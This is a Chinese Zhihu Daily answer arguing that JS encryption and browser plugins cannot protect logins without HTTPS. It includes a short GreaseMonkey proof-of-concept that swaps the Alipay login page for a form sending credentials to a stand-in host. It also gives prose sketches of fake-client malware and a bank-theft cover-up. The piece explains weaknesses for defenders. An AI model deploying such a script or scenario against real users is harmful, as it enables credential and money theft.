稍微纠正一下其它答案中的问题。
js加密(比如腾讯)没什么安全性可言,攻击者只要把你访问的页面整个替换掉就可以了。共用路由器的话,用ARP病毒应该很容易做到。
按照类似的逻辑,只要在登录的时候用户看不到地址是https,任何“其它方法”都不安全。就不必讨论js或者类似方案了。
就算是用插件登录,在很多时候,攻击者也可以修改页面,让输入框根本不使用这个插件。所以除非插件另外有验证页面内容的功能,还是不能不使用https。而且就算使用https,对于本地的病毒之类的问题,有些插件也不能阻止攻击者绕过这个插件。
比如以下GreaseMonkey脚本在Linux,Firefox中验证成功,Windows和其它浏览器就不逐个尝试了(如果Windows不行的话,还有一种合理的解释是Linux版仅仅用于避免Windows用户访问“更不安全”的页面)。以下脚本仅仅用于验证概念。真正用于攻击的话,首先要把页面做得和支付宝官方页面比较像,还要能自动给Firefox安装脚本,最好还能避免用户发觉,让用户以为登录不上去是因为网络错误或密码错误。
// ==UserScript==
// @name alipay hacker test
// @namespace afdsjalfwhahefhwadskla
// @include htt
ps://www.alip
ay.com/
// @version 1
// @grant none
// ==/UserScript==
document.body.innerHTML='<form action=“ht
tps://www.exam
ple.com" method="get"><input name="username"><input type="password" name="password"><input type="submit"></form>'
所以说,插件在很多时候也都是自欺欺人。可能阻止了一部分流行的病毒的行为,但是有针对性的攻击是否也能阻止,难说。只考虑网络安全的话用https即可,不需要另外的插件。
更进一步地说,考虑病毒的影响的话,某些直接使用自己的客户端的验证方式也无法保证安全。比如某个病毒作者自己做一个登陆框,替换掉QQ.exe,QQ自身没有任何防范方法。只是用户很快就会发现问题而已,因为登录不上去。对QQ可能影响不大,但是想象一下要是有银行用类似的方法,病毒可以在攻击者得到密码之后,立即破坏系统文件,切断用户的网络,可以稍微用蓝屏之类的方式掩饰一下,避免用户很快直接联系银行,然后攻击者立即将用户的存款转出。只是病毒的体积可能有些大,看现在的网速可能也不是很大的问题。
网速比较快的话,USB Key也可以做个程序远程与硬件交互,攻击者那边再装个虚拟的硬件驱动,实在不行就用虚拟机。有些设备可能解决了这些问题,毕竟网络不太可能完全没有延迟,而且带宽有限。有些设备可能没有,或者目的仅仅是避免依赖于密码。
但是比如说,使用手机短信验证,而且保证手机不中毒,或者比如说使用带有屏幕的USB Key,那么应该是安全的。不过个人认为受盗号影响不大的普通网站没必要在用户自己中毒造成的问题上下太多功夫。这是用户自己和杀毒软件的责任。
另外关于明文存储密码,有些人有概念错误(以下专业的人可以不必看)。明文存储密码不是要避免有人用用户的密码去登录其它网站,而是在网站自身的数据库泄露之后,避免有人直接用泄露的密码直接登录自己的网站。“从技术上保证一个网站的密码不能用于登录另一个网站”,不应该是网站的责任,而是浏览器应该做的事,虽然现在没有哪个浏览器做了这件事。
服务器的数据库的所谓密码加密,其实是不可逆的hash,hash之后直接与数据库比较。但是js加密(或者https加密)要是用同样的方法的话,攻击者得到加密之后的内容,就可以跳过js加密的步骤,用加密后的内容直接通过验证。所以任何客户端的加密方法,都应该保证一个加密后的数据不能重复使用两次。使用的算法一般应该是可逆的,也有一些其它方案,比如两次操作顺序可交换的不可逆算法。
所以以上就有三种不同意义的加密:1.用户在不同网站上使用不同的密码;2.传输过程中的加密;3.网站自身数据库的加密。如果要达到目的,任何两个都不能共用同一加密过程。
第一条比起在浏览器上实现这个功能,现在似乎有个另外的趋势是用一个账号登录多种服务。实际上有一些安全隐患,因为某些不重要的小网站可以用QQ、微博账号登录,某些购物网站一样也可以用QQ、微博账号登录。这样在某些明知不安全的环境,可能比如一些网吧,注重安全而又想登录小网站的人就会比较困扰。
— 完 —
本文作者:
于航
【知乎日报】
你都看到这啦,快来点我嘛 Σ(▼□▼メ)
此问题还有
22 个回答,查看全部。
延伸阅读:
为什么现在还有网站在使用明文保存密码?
CSDN 为什么会用明文存储密码?是意外还是故意的?